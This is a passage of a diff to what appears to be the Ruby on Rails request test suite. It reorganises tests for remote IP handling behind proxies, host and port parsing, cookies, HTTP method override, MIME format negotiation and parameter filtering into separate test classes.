+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 10.0.0.1, 67.205.106.73'
assert_equal '3.4.5.6', request.remote_ip
end
@@ -196,13 +215,13 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'REMOTE_ADDR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1',
'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
- assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+ assert_equal '::1', request.remote_ip
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
assert_equal nil, request.remote_ip
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334'
- assert_equal nil, request.remote_ip
+ assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
end
test "remote ip with user specified trusted proxies Regexp" do
@@ -212,8 +231,8 @@ class RequestTest < ActiveSupport::TestCase
'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
assert_equal '3.4.5.6', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '67.205.106.73, 10.0.0.1, 9.9.9.9, 3.4.5.6'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1, 9.9.9.9, 3.4.5.6, 67.205.106.73'
+ assert_equal '3.4.5.6', request.remote_ip
end
test "remote ip v6 with user specified trusted proxies Regexp" do
@@ -223,10 +242,17 @@ class RequestTest < ActiveSupport::TestCase
'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329, 2001:0db8:85a3:0000:0000:8a2e:0370:7334'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
end
+ test "remote ip middleware not present still returns an IP" do
+ request = stub_request('REMOTE_ADDR' => '127.0.0.1')
+ assert_equal '127.0.0.1', request.remote_ip
+ end
+end
+
+class RequestDomain < BaseRequestTest
test "domains" do
request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org'
assert_equal "rubyonrails.org", request.domain
@@ -284,7 +310,9 @@ class RequestTest < ActiveSupport::TestCase
assert_equal [], request.subdomains
assert_equal "", request.subdomain
end
+end
+class RequestPort < BaseRequestTest
test "standard_port" do
request = stub_request
assert_equal 80, request.standard_port
@@ -326,7 +354,9 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
assert_equal ':8080', request.port_string
end
+end
+class RequestPath < BaseRequestTest
test "full path" do
request = stub_request 'SCRIPT_NAME' => '', 'PATH_INFO' => '/path/of/some/uri', 'QUERY_STRING' => 'mapped=1'
assert_equal "/path/of/some/uri?mapped=1", request.fullpath
@@ -357,6 +387,32 @@ class RequestTest < ActiveSupport::TestCase
assert_equal "/of/some/uri", request.path_info
end
+ test "original_fullpath returns ORIGINAL_FULLPATH" do
+ request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
+
+ path = request.original_fullpath
+ assert_equal "/foo?bar", path
+ end
+
+ test "original_url returns url built using ORIGINAL_FULLPATH" do
+ request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
+ 'HTTP_HOST' => "example.org",
+ 'rack.url_scheme' => "http")
+
+ url = request.original_url
+ assert_equal "http://example.org/foo?bar", url
+ end
+
+ test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
+ request = stub_request('PATH_INFO' => "/foo",
+ 'QUERY_STRING' => "bar")
+
+ path = request.original_fullpath
+ assert_equal "/foo?bar", path
+ end
+end
+
+class RequestHost < BaseRequestTest
test "host with default port" do
request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80'
assert_equal "rubyonrails.org", request.host_with_port
@@ -367,15 +423,181 @@ class RequestTest < ActiveSupport::TestCase
assert_equal "rubyonrails.org:81", request.host_with_port
end
- test "server software" do
- request = stub_request
- assert_equal nil, request.server_software
+ test "proxy request" do
+ request = stub_request 'HTTP_HOST' => 'glu.ttono.us:80'
+ assert_equal "glu.ttono.us", request.host_with_port
+ end
+
+ test "http host" do
+ request = stub_request 'HTTP_HOST' => "rubyonrails.org:8080"
+ assert_equal "rubyonrails.org", request.host
+ assert_equal "rubyonrails.org:8080", request.host_with_port
+
+ request = stub_request 'HTTP_X_FORWARDED_HOST' => "www.firsthost.org, www.secondhost.org"
+ assert_equal "www.secondhost.org", request.host
+ end
+
+ test "http host with default port overrides server port" do
+ request = stub_request 'HTTP_HOST' => "rubyonrails.org"
+ assert_equal "rubyonrails.org", request.host_with_port
+ end
+
+ test "host with port if http standard port is specified" do
+ request = stub_request 'HTTP_X_FORWARDED_HOST' => "glu.ttono.us:80"
+ assert_equal "glu.ttono.us", request.host_with_port
+ end
+
+ test "host with port if https standard port is specified" do
+ request = stub_request(
+ 'HTTP_X_FORWARDED_PROTO' => "https",
+ 'HTTP_X_FORWARDED_HOST' => "glu.ttono.us:443"
+ )
+ assert_equal "glu.ttono.us", request.host_with_port
+ end
+
+ test "host if ipv6 reference" do
+ request = stub_request 'HTTP_HOST' => "[2001:1234:5678:9abc:def0::dead:beef]"
+ assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+ end
+
+ test "host if ipv6 reference with port" do
+ request = stub_request 'HTTP_HOST' => "[2001:1234:5678:9abc:def0::dead:beef]:8008"
+ assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+ end
+end
+
+class RequestCGI < BaseRequestTest
+ test "CGI environment variables" do
+ request = stub_request(
+ "AUTH_TYPE" => "Basic",
+ "GATEWAY_INTERFACE" => "CGI/1.1",
+ "HTTP_ACCEPT" => "*/*",
+ "HTTP_ACCEPT_CHARSET" => "UTF-8",
+ "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
+ "HTTP_ACCEPT_LANGUAGE" => "en",
+ "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
+ "HTTP_FROM" => "googlebot",
+ "HTTP_HOST" => "glu.ttono.us:8007",
+ "HTTP_NEGOTIATE" => "trans",
+ "HTTP_PRAGMA" => "no-cache",
+ "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
+ "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
+ "PATH_INFO" => "/homepage/",
+ "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
+ "QUERY_STRING" => "",
+ "REMOTE_ADDR" => "207.7.108.53",
+ "REMOTE_HOST" => "google.com",
+ "REMOTE_IDENT" => "kevin",
+ "REMOTE_USER" => "kevin",
+ "REQUEST_METHOD" => "GET",
+ "SCRIPT_NAME" => "/dispatch.fcgi",
+ "SERVER_NAME" => "glu.ttono.us",
+ "SERVER_PORT" => "8007",
+ "SERVER_PROTOCOL" => "HTTP/1.1",
+ "SERVER_SOFTWARE" => "lighttpd/1.4.5",
+ )
+
+ assert_equal "Basic", request.auth_type
+ assert_equal 0, request.content_length
+ assert_equal nil, request.content_mime_type
+ assert_equal "CGI/1.1", request.gateway_interface
+ assert_equal "*/*", request.accept
+ assert_equal "UTF-8", request.accept_charset
+ assert_equal "gzip, deflate", request.accept_encoding
+ assert_equal "en", request.accept_language
+ assert_equal "no-cache, max-age=0", request.cache_control
+ assert_equal "googlebot", request.from
+ assert_equal "glu.ttono.us", request.host
+ assert_equal "trans", request.negotiate
+ assert_equal "no-cache", request.pragma
+ assert_equal "http://www.google.com/search?q=glu.ttono.us", request.referer
+ assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", request.user_agent
+ assert_equal "/homepage/", request.path_info
+ assert_equal "/home/kevinc/sites/typo/public/homepage/", request.path_translated
+ assert_equal "", request.query_string
+ assert_equal "207.7.108.53", request.remote_addr
+ assert_equal "google.com", request.remote_host
+ assert_equal "kevin", request.remote_ident
+ assert_equal "kevin", request.remote_user
+ assert_equal "GET", request.request_method
+ assert_equal "/dispatch.fcgi", request.script_name
+ assert_equal "glu.ttono.us", request.server_name
+ assert_equal 8007, request.server_port
+ assert_equal "HTTP/1.1", request.server_protocol
+ assert_equal "lighttpd", request.server_software
+ end
+end
+
+class LocalhostTest < BaseRequestTest
+ test "IPs that match localhost" do
+ request = stub_request("REMOTE_IP" => "127.1.1.1", "REMOTE_ADDR" => "127.1.1.1")
+ assert request.local?
+ end
+end
+
+class RequestCookie < BaseRequestTest
+ test "cookie syntax resilience" do
+ request = stub_request("HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes")
+ assert_equal "c84ace84796670c052c6ceb2451fb0f2", request.cookies["_session_id"], request.cookies.inspect
+ assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
+
+ # some Nokia phone browsers omit the space after the semicolon separator.
+ # some developers have grown accustomed to using comma in cookie values.
+ request = stub_request("HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes")
+ assert_equal "c84ace847", request.cookies["_session_id"], request.cookies.inspect
+ assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
+ end
+end
+
+class RequestParamsParsing < BaseRequestTest
+ test "doesnt break when content type has charset" do
+ request = stub_request(
+ 'REQUEST_METHOD' => 'POST',
+ 'CONTENT_LENGTH' => "flamenco=love".length,
+ 'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8',
+ 'rack.input' => StringIO.new("flamenco=love")
+ )
+
+ assert_equal({"flamenco"=> "love"}, request.request_parameters)
+ end
+
+ test "doesnt interpret request uri as query string when missing" do
+ request = stub_request('REQUEST_URI' => 'foo')
+ assert_equal({}, request.query_parameters)
+ end
+end
+
+class RequestRewind < BaseRequestTest
+ test "body should be rewound" do
+ data = 'rewind'
+ env = {
+ 'rack.input' => StringIO.new(data),
+ 'CONTENT_LENGTH' => data.length,
+ 'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8'
+ }
+
+ # Read the request body by parsing params.
+ request = stub_request(env)
+ request.request_parameters
- request = stub_request 'SERVER_SOFTWARE' => 'Apache3.422'
- assert_equal 'apache', request.server_software
+ # Should have rewound the body.
+ assert_equal 0, request.body.pos
+ end
- request = stub_request 'SERVER_SOFTWARE' => 'lighttpd(1.1.4)'
- assert_equal 'lighttpd', request.server_software
+ test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
+ request = stub_request(
+ 'rack.input' => StringIO.new("raw"),
+ 'CONTENT_LENGTH' => 3
+ )
+ assert_equal "raw", request.raw_post
+ assert_equal "raw", request.env['rack.input'].read
+ end
+end
+
+class RequestProtocol < BaseRequestTest
+ test "server software" do
+ assert_equal 'lighttpd', stub_request('SERVER_SOFTWARE' => 'lighttpd/1.4.5').server_software
+ assert_equal 'apache', stub_request('SERVER_SOFTWARE' => 'Apache3.422').server_software
end
test "xml http request" do
@@ -394,19 +616,12 @@ class RequestTest < ActiveSupport::TestCase
end
test "reports ssl" do
- request = stub_request
- assert !request.ssl?
-
- request = stub_request 'HTTPS' => 'on'
- assert request.ssl?
+ assert !stub_request.ssl?
+ assert stub_request('HTTPS' => 'on').ssl?
end
test "reports ssl when proxied via lighttpd" do
- request = stub_request
- assert !request.ssl?
-
- request = stub_request 'HTTP_X_FORWARDED_PROTO' => 'https'
- assert request.ssl?
+ assert stub_request('HTTP_X_FORWARDED_PROTO' => 'https').ssl?
end
test "scheme returns https when proxied" do
@@ -414,68 +629,120 @@ class RequestTest < ActiveSupport::TestCase
assert !request.ssl?
assert_equal 'http', request.scheme
- request = stub_request 'rack.url_scheme' => 'http', 'HTTP_X_FORWARDED_PROTO' => 'https'
+ request = stub_request(
+ 'rack.url_scheme' => 'http',
+ 'HTTP_X_FORWARDED_PROTO' => 'https'
+ )
assert request.ssl?
assert_equal 'https', request.scheme
end
+end
+
+class RequestMethod < BaseRequestTest
+ test "method returns environment's request method when it has not been
+ overridden by middleware".squish do
+
+ ActionDispatch::Request::HTTP_METHODS.each do |method|
+ request = stub_request('REQUEST_METHOD' => method)
- test "String request methods" do
- [:get, :post, :patch, :put, :delete].each do |method|
- request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
- assert_equal method.to_s.upcase, request.method
+ assert_equal method, request.method
+ assert_equal method.underscore.to_sym, request.method_symbol
end
end
- test "Symbol forms of request methods via method_symbol" do
- [:get, :post, :patch, :put, :delete].each do |method|
- request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
- assert_equal method, request.method_symbol
- end
+ test "allow request method hacking" do
+ request = stub_request('REQUEST_METHOD' => 'POST')
+
+ assert_equal 'POST', request.request_method
+ assert_equal 'POST', request.env["REQUEST_METHOD"]
+
+ request.request_method = 'GET'
+
+ assert_equal 'GET', request.request_method
+ assert_equal 'GET', request.env["REQUEST_METHOD"]
end
test "invalid http method raises exception" do
assert_raise(ActionController::UnknownHttpMethod) do
- request = stub_request 'REQUEST_METHOD' => 'RANDOM_METHOD'
- request.request_method
+ stub_request('REQUEST_METHOD' => 'RANDOM_METHOD').request_method
end
end
- test "allow method hacking on post" do
- %w(GET OPTIONS PATCH PUT POST DELETE).each do |method|
- request = stub_request "REQUEST_METHOD" => method.to_s.upcase
- assert_equal(method == "HEAD" ? "GET" : method, request.method)
- end
+ test "method returns original value of environment request method on POST" do
+ request = stub_request('rack.methodoverride.original_method' => 'POST')
+ assert_equal 'POST', request.method
end
- test "invalid method hacking on post raises exception" do
+ test "method raises exception on invalid HTTP method" do
+ assert_raise(ActionController::UnknownHttpMethod) do
+ stub_request('rack.methodoverride.original_method' => '_RANDOM_METHOD').method
+ end
+
assert_raise(ActionController::UnknownHttpMethod) do
- request = stub_request "REQUEST_METHOD" => "_RANDOM_METHOD"
- request.request_method
+ stub_request('REQUEST_METHOD' => '_RANDOM_METHOD').method
end
end
- test "restrict method hacking" do
- [:get, :patch, :put, :delete].each do |method|
- request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
- 'action_dispatch.request.request_parameters' => { :_method => 'put' }
- assert_equal method.to_s.upcase, request.method
+ test "exception on invalid HTTP method unaffected by I18n settings" do
+ old_locales = I18n.available_locales
+ old_enforce = I18n.config.enforce_available_locales
+
+ begin
+ I18n.available_locales = [:nl]
+ I18n.config.enforce_available_locales = true
+ assert_raise(ActionController::UnknownHttpMethod) do
+ stub_request('REQUEST_METHOD' => '_RANDOM_METHOD').method
+ end
+ ensure
+ I18n.available_locales = old_locales
+ I18n.config.enforce_available_locales = old_enforce
end
end
test "post masquerading as patch" do
- request = stub_request 'REQUEST_METHOD' => 'PATCH', "rack.methodoverride.original_method" => "POST"
+ request = stub_request(
+ 'REQUEST_METHOD' => 'PATCH',
+ "rack.methodoverride.original_method" => "POST"
+ )
+
assert_equal "POST", request.method
assert_equal "PATCH", request.request_method
assert request.patch?
end
test "post masquerading as put" do
- request = stub_request 'REQUEST_METHOD' => 'PUT', "rack.methodoverride.original_method" => "POST"
+ request = stub_request(
+ 'REQUEST_METHOD' => 'PUT',
+ "rack.methodoverride.original_method" => "POST"
+ )
assert_equal "POST", request.method
assert_equal "PUT", request.request_method
assert request.put?
end
+ test "post uneffected by local inflections" do
+ existing_acrnoyms = ActiveSupport::Inflector.inflections.acronyms.dup
+ existing_acrnoym_regex = ActiveSupport::Inflector.inflections.acronym_regex.dup
+ begin
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym "POS"
+ end
+ assert_equal "pos_t", "POST".underscore
+ request = stub_request "REQUEST_METHOD" => "POST"
+ assert_equal :post, ActionDispatch::Request::HTTP_METHOD_LOOKUP["POST"]
+ assert_equal :post, request.method_symbol
+ assert request.post?
+ ensure
+ # Reset original acronym set
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.send(:instance_variable_set,"@acronyms",existing_acrnoyms)
+ inflect.send(:instance_variable_set,"@acronym_regex",existing_acrnoym_regex)
+ end
+ end
+ end
+end
+
+class RequestFormat < BaseRequestTest
test "xml format" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => 'xml' })
@@ -495,103 +762,73 @@ class RequestTest < ActiveSupport::TestCase
end
test "XMLHttpRequest" do
- request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest',
- 'HTTP_ACCEPT' =>
- [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(",")
+ request = stub_request(
+ 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest',
+ 'HTTP_ACCEPT' => [Mime::JS, Mime::HTML, Mime::XML, "text/xml", Mime::ALL].join(",")
+ )
request.expects(:parameters).at_least_once.returns({})
assert request.xhr?
assert_equal Mime::JS, request.format
end
- test "content type" do
- request = stub_request 'CONTENT_TYPE' => 'text/html'
- assert_equal Mime::HTML, request.content_mime_type
- end
-
- test "can override format with parameter" do
+ test "can override format with parameter negative" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => :txt })
assert !request.format.xml?
+ end
+ test "can override format with parameter positive" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => :xml })
assert request.format.xml?
end
- test "no content type" do
- request = stub_request
- assert_equal nil, request.content_mime_type
+ test "formats text/html with accept header" do
+ request = stub_request 'HTTP_ACCEPT' => 'text/html'
+ assert_equal [Mime::HTML], request.formats
end
- test "content type is XML" do
- request = stub_request 'CONTENT_TYPE' => 'application/xml'
- assert_equal Mime::XML, request.content_mime_type
+ test "formats blank with accept header" do
+ request = stub_request 'HTTP_ACCEPT' => ''
+ assert_equal [Mime::HTML], request.formats
end
- test "content type with charset" do
- request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8'
- assert_equal Mime::XML, request.content_mime_type
+ test "formats XMLHttpRequest with accept header" do
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ assert_equal [Mime::JS], request.formats
end
- test "user agent" do
- request = stub_request 'HTTP_USER_AGENT' => 'TestAgent'
- assert_equal 'TestAgent', request.user_agent
+ test "formats application/xml with accept header" do
+ request = stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest")
+ assert_equal [Mime::XML], request.formats
end
- test "parameters" do
+ test "formats format:text with accept header" do
request = stub_request
- request.stubs(:request_parameters).returns({ "foo" => 1 })
- request.stubs(:query_parameters).returns({ "bar" => 2 })
-
- assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
- assert_equal({"foo" => 1}, request.request_parameters)
- assert_equal({"bar" => 2}, request.query_parameters)
- end
-
- test "parameters still accessible after rack parse error" do
- mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
- request = nil
- request = stub_request(mock_rack_env)
-
- assert_raises(ActionController::BadRequest) do
- # rack will raise a TypeError when parsing this query string
- request.parameters
- end
-
- assert_equal({}, request.parameters)
+ request.expects(:parameters).at_least_once.returns({ :format => :txt })
+ assert_equal [Mime::TEXT], request.formats
end
- test "we have access to the original exception" do
- mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
- request = nil
- request = stub_request(mock_rack_env)
-
- e = assert_raises(ActionController::BadRequest) do
- # rack will raise a TypeError when parsing this query string
- request.parameters
- end
-
- assert e.original_exception
- assert_equal e.original_exception.backtrace, e.backtrace
+ test "formats format:unknown with accept header" do
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => :unknown })
+ assert_instance_of Mime::NullType, request.format
end
- test "formats with accept header" do
- request = stub_request 'HTTP_ACCEPT' => 'text/html'
- request.expects(:parameters).at_least_once.returns({})
- assert_equal [Mime::HTML], request.formats
-
- request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
- 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
- request.expects(:parameters).at_least_once.returns({})
- assert_equal [Mime::XML], request.formats
-
+ test "format is not nil with unknown format" do
request = stub_request
- request.expects(:parameters).at_least_once.returns({ :format => :txt })
- assert_equal [Mime::TEXT], request.formats
+ request.expects(:parameters).at_least_once.returns({ format: :hello })
+ assert request.format.nil?
+ assert_not request.format.html?
+ assert_not request.format.xml?
+ assert_not request.format.json?
+ end
- request = stub_request
- request.expects(:parameters).at_least_once.returns({ :format => :unknown })
- assert request.formats.empty?
+ test "format does not throw exceptions when malformed parameters" do
+ request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+ assert request.formats
+ assert request.format.html?
end
test "formats with xhr request" do
@@ -601,6 +838,7 @@ class RequestTest < ActiveSupport::TestCase
end
test "ignore_accept_header" do
+ old_ignore_accept_header = ActionDispatch::Request.ignore_accept_header
ActionDispatch::Request.ignore_accept_header = true
begin
@@ -630,26 +868,115 @@ class RequestTest < ActiveSupport::TestCase
request.expects(:parameters).at_least_once.returns({:format => :json})
assert_equal [ Mime::JSON ], request.formats
ensure
- ActionDispatch::Request.ignore_accept_header = false
+ ActionDispatch::Request.ignore_accept_header = old_ignore_accept_header
end
end
+end
- test "negotiate_mime" do
- request = stub_request 'HTTP_ACCEPT' => 'text/html',
- 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+class RequestMimeType < BaseRequestTest
+ test "content type" do
+ assert_equal Mime::HTML, stub_request('CONTENT_TYPE' => 'text/html').content_mime_type
+ end
- request.expects(:parameters).at_least_once.returns({})
+ test "no content type" do
+ assert_equal nil, stub_request.content_mime_type
+ end
+
+ test "content type is XML" do
+ assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml').content_mime_type
+ end
+
+ test "content type with charset" do
+ assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8').content_mime_type
+ end
+
+ test "user agent" do
+ assert_equal 'TestAgent', stub_request('HTTP_USER_AGENT' => 'TestAgent').user_agent
+ end
+
+ test "negotiate_mime" do
+ request = stub_request(
+ 'HTTP_ACCEPT' => 'text/html',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ )
assert_equal nil, request.negotiate_mime([Mime::XML, Mime::JSON])
assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::HTML])
assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::ALL])
+ end
+
+ test "negotiate_mime with content_type" do
+ request = stub_request(
+ 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ )
- request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
- 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
- request.expects(:parameters).at_least_once.returns({})
assert_equal Mime::XML, request.negotiate_mime([Mime::XML, Mime::CSV])
end
+end
+
+class RequestParameters < BaseRequestTest
+ test "parameters" do
+ request = stub_request
+ request.expects(:request_parameters).at_least_once.returns({ "foo" => 1 })
+ request.expects(:query_parameters).at_least_once.returns({ "bar" => 2 })
+
+ assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
+ assert_equal({"foo" => 1}, request.request_parameters)
+ assert_equal({"bar" => 2}, request.query_parameters)
+ end
+
+ test "parameters not accessible after rack parse error" do
+ request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+ 2.times do
+ assert_raises(ActionController::BadRequest) do
+ # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+ request.parameters
+ end
+ end
+ end
+
+ test "parameters not accessible after rack parse error of invalid UTF8 character" do
+ request = stub_request("QUERY_STRING" => "foo%81E=1")
+
+ 2.times do
+ assert_raises(ActionController::BadRequest) do
+ # rack will raise a Rack::Utils::InvalidParameterError when parsing this query string
+ request.parameters
+ end
+ end
+ end
+
+ test "parameters not accessible after rack parse error 1" do
+ request = stub_request(
+ 'REQUEST_METHOD' => 'POST',
+ 'CONTENT_LENGTH' => "a%=".length,
+ 'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8',
+ 'rack.input' => StringIO.new("a%=")
+ )
+
+ assert_raises(ActionController::BadRequest) do
+ # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+ request.parameters
+ end
+ end
+
+ test "we have access to the original exception" do
+ request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+ e = assert_raises(ActionController::BadRequest) do
+ # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+ request.parameters
+ end
+
+ assert e.original_exception
+ assert_equal e.original_exception.backtrace, e.backtrace
+ end
+end
+
+class RequestParameterFilter < BaseRequestTest
test "process parameter filter" do
test_hashes = [
[{'foo'=>'bar'},{'foo'=>'bar'},%w'food'],
@@ -678,9 +1005,14 @@ class RequestTest < ActiveSupport::TestCase
end
test "filtered_parameters returns params filtered" do
- request = stub_request('action_dispatch.request.parameters' =>
- { 'lifo' => 'Pratik', 'amount' => '420', 'step' => '1' },
- 'action_dispatch.parameter_filter' => [:lifo, :amount])
+ request = stub_request(
+ 'action_dispatch.request.parameters' => {
+ 'lifo' => 'Pratik',
+ 'amount' => '420',
+ 'step' => '1'
+ },
+ 'action_dispatch.parameter_filter' => [:lifo, :amount]
+ )
params = request.filtered_parameters
assert_equal "[FILTERED]", params["lifo"]
@@ -689,10 +1021,14 @@ class RequestTest < ActiveSupport::TestCase
end
test "filtered_env filters env as a whole" do
- request = stub_request('action_dispatch.request.parameters' =>
- { 'amount' => '420', 'step' => '1' }, "RAW_POST_DATA" => "yada yada",
- 'action_dispatch.parameter_filter' => [:lifo, :amount])
-
+ request = stub_request(
+ 'action_dispatch.request.parameters' => {
+ 'amount' => '420',
+ 'step' => '1'
+ },
+ "RAW_POST_DATA" => "yada yada",
+ 'action_dispatch.parameter_filter' => [:lifo, :amount]
+ )
request = stub_request(request.filtered_env)
assert_equal "[FILTERED]", request.raw_post
@@ -702,9 +1038,11 @@ class RequestTest < ActiveSupport::TestCase
test "filtered_path returns path with filtered query string" do
%w(; &).each do |sep|
- request = stub_request('QUERY_STRING' => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
+ request = stub_request(
+ 'QUERY_STRING' => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret, :api_key])
+ 'action_dispatch.parameter_filter' => [:secret, :api_key]
+ )
path = request.filtered_path
assert_equal %w(/authenticate?username=sikachu secret=[FILTERED] api_key=[FILTERED]).join(sep), path
@@ -712,56 +1050,40 @@ class RequestTest < ActiveSupport::TestCase
end
test "filtered_path should not unescape a genuine '[FILTERED]' value" do
- request = stub_request('QUERY_STRING' => "secret=bd4f21f&genuine=%5BFILTERED%5D",
+ request = stub_request(
+ 'QUERY_STRING' => "secret=bd4f21f&genuine=%5BFILTERED%5D",
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret])
+ 'action_dispatch.parameter_filter' => [:secret]
+ )
path = request.filtered_path
- assert_equal "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
+ assert_equal request.script_name + "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
end
test "filtered_path should preserve duplication of keys in query string" do
- request = stub_request('QUERY_STRING' => "username=sikachu&secret=bd4f21f&username=fxn",
+ request = stub_request(
+ 'QUERY_STRING' => "username=sikachu&secret=bd4f21f&username=fxn",
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret])
+ 'action_dispatch.parameter_filter' => [:secret]
+ )
path = request.filtered_path
- assert_equal "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
+ assert_equal request.script_name + "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
end
test "filtered_path should ignore searchparts" do
- request = stub_request('QUERY_STRING' => "secret",
+ request = stub_request(
+ 'QUERY_STRING' => "secret",
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret])
+ 'action_dispatch.parameter_filter' => [:secret]
+ )
path = request.filtered_path
- assert_equal "/authenticate?secret", path
- end
-
- test "original_fullpath returns ORIGINAL_FULLPATH" do
- request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
-
- path = request.original_fullpath
- assert_equal "/foo?bar", path
- end
-
- test "original_url returns url built using ORIGINAL_FULLPATH" do
- request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
- 'HTTP_HOST' => "example.org",
- 'rack.url_scheme' => "http")
-
- url = request.original_url
- assert_equal "http://example.org/foo?bar", url
- end
-
- test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
- request = stub_request('PATH_INFO' => "/foo",
- 'QUERY_STRING' => "bar")
-
- path = request.original_fullpath
- assert_equal "/foo?bar", path
+ assert_equal request.script_name + "/authenticate?secret", path
end
+end
+class RequestEtag < BaseRequestTest
test "if_none_match_etags none" do
request = stub_request
@@ -800,16 +1122,31 @@ class RequestTest < ActiveSupport::TestCase
assert request.etag_matches?(etag), etag
end
end
+end
+
+class RequestVariant < BaseRequestTest
+ test "setting variant" do
+ request = stub_request
+
+ request.variant = :mobile
+ assert_equal [:mobile], request.variant
-protected
+ request.variant = [:phone, :tablet]
+ assert_equal [:phone, :tablet], request.variant
- def stub_request(env = {})
